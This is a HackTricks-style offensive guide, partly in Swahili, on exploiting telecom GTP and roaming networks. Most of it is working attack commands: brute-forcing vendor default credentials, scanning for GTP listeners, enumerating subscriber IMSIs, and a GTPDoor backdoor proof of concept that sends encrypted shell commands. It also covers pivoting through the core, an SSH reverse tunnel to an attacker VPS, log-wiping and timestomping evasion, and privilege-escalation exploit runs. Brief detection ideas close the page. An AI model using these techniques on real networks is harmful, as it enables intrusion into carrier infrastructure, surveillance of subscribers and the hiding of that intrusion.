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141 lines
6.4 KiB
Markdown
141 lines
6.4 KiB
Markdown
# Telecom Network Exploitation (GTP / Roaming Environments)
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{{#include ../../banners/hacktricks-training.md}}
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> [!NOTE]
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> Protokali za msingi za simu (GPRS Tunnelling Protocol – GTP) mara nyingi hupita kwenye mifumo ya GRX/IPX ya kuhamahama ambayo inaaminika kwa kiasi fulani. Kwa sababu zinatumia UDP bila uthibitisho wowote, **mara nyingi mguu wowote ndani ya mipaka ya telecom unaweza kufikia moja kwa moja ndege za ishara za msingi**. Maelezo yafuatayo yanakusanya mbinu za mashambulizi zilizoshuhudiwa katika mazingira halisi dhidi ya SGSN/GGSN, PGW/SGW na nodi nyingine za EPC.
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## 1. Recon & Initial Access
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### 1.1 Default OSS / NE Accounts
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Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha ya maneno iliyotengwa huongeza kwa kiasi kikubwa mafanikio ya brute-force:
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```bash
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hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
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```
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Ikiwa kifaa kinatoa tu VRF ya usimamizi, pitisha kupitia mwenyeji wa jump kwanza (tazama sehemu «SGSN Emu Tunnel» hapa chini).
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### 1.2 Ugunduzi wa Mwenyeji ndani ya GRX/IPX
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Watoa huduma wengi wa GRX bado wanaruhusu **ICMP echo** kupitia msingi. Changanya `masscan` na uchunguzi wa `gtpv1` UDP uliojengwa ndani ili haraka kuchora wasikilizaji wa GTP-C:
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```bash
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masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
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```
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## 2. Kuorodhesha Wajibu – `cordscan`
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Zana hii ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja.
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```bash
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# Build
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GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
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# Usage (typical):
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./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
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```
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Key flags:
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- `--imsi` Lengo la mteja IMSI
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- `--oper` Nyumbani / HNI (MCC+MNC)
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- `-w` Andika pakiti za raw kwenye pcap
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Misingi muhimu ndani ya binary inaweza kubadilishwa ili kupanua skana:
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```
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pingtimeout = 3 // seconds before giving up
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pco = 0x218080
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common_tcp_ports = "22,23,80,443,8080"
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```
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## 3. Utekelezaji wa Kanuni kupitia GTP – `GTPDoor`
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`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanachambuliwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao chochote cha nje kinachoundwa.
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Pakiti ya PoC ya chini (Python):
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```python
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import gtpc, Crypto.Cipher.AES as AES
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key = b"SixteenByteKey!"
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cmd = b"id;uname -a"
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enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
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print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
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```
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Detection:
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* mwenyeji yeyote anayepeleka **Maombi ya Echo yasiyo sawa** kwa IP za SGSN
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* Bendera ya toleo la GTP imewekwa kuwa 1 wakati aina ya ujumbe = 1 (Echo) – mabadiliko kutoka kwa spesifiki
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## 4. Pivoting Through the Core
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### 4.1 `sgsnemu` + SOCKS5
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`OsmoGGSN` inatoa emulators ya SGSN inayoweza **kuanzisha muktadha wa PDP kuelekea GGSN/PGW halisi**. Mara baada ya kujadiliwa, Linux inapokea kiunganishi kipya cha `tun0` kinachoweza kufikiwa kutoka kwa mwenzi wa roaming.
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```bash
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sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
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-APN internet -c 1 -d
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ip route add 172.16.0.0/12 dev tun0
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microsocks -p 1080 & # internal SOCKS proxy
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```
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Kwa matumizi sahihi ya firewall hair-pinning, handaki hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**.
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### 4.2 SSH Reverse Tunnel juu ya Port 53
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DNS karibu kila wakati iko wazi katika miundombinu ya kuhamahama. Funua huduma ya ndani ya SSH kwa VPS yako inayosikiliza kwenye :53 na urudi baadaye kutoka nyumbani:
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```bash
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ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
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```
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Check that `GatewayPorts yes` is enabled on the VPS.
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## 5. Covert Channels
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| Channel | Transport | Decoding | Notes |
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|---------|-----------|----------|-------|
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| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | msikivu safi, hakuna trafiki ya nje |
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| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | inatazama `*.nodep` sub-domain |
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| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | inachanganyika na mazungumzo halali ya GTP-C |
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All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
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## 6. Defense Evasion Cheatsheet
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```bash
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# Remove attacker IPs from wtmp
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utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
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# Disable bash history
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export HISTFILE=/dev/null
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# Masquerade as kernel thread
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echo 0 > /proc/$$/autogroup # hide from top/htop
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printf '\0' > /proc/$$/comm # appears as [kworker/1]
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touch -r /usr/bin/time /usr/bin/chargen # timestomp
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setenforce 0 # disable SELinux
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```
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## 7. Kuinua Haki kwenye NE za Kizamani
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```bash
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# DirtyCow – CVE-2016-5195
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gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
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# PwnKit – CVE-2021-4034
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python3 PwnKit.py
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# Sudo Baron Samedit – CVE-2021-3156
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python3 exploit_userspec.py
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```
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Usafi wa mazingira:
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```bash
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userdel firefart 2>/dev/null
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rm -f /tmp/sh ; history -c
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```
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## 8. Tool Box
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* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana za kawaida zilizoelezwa katika sehemu za awali.
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* `FScan` : skanning ya TCP ya intranet (`fscan -p 22,80,443 10.0.0.0/24`)
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* `Responder` : LLMNR/NBT-NS rogue WPAD
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* `Microsocks` + `ProxyChains` : pivoting nyepesi wa SOCKS5
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* `FRP` (≥0.37) : NAT traversal / bridging ya mali
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---
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## Detection Ideas
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1. **Kila kifaa kingine isipokuwa SGSN/GGSN kinachounda Maombi ya Kuunda Muktadha wa PDP**.
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2. **Bandari zisizo za kawaida (53, 80, 443) zinapokea mikono ya SSH** kutoka kwa IP za ndani.
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3. **Maombi ya Echo mara kwa mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor.
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4. **Kiwango cha juu cha trafiki ya ICMP echo-reply yenye viwanja vikubwa, visivyo na sifuri vya kitambulisho/mfuatano**.
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## References
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- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
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- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
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- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
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{{#include ../../banners/hacktricks-training.md}}
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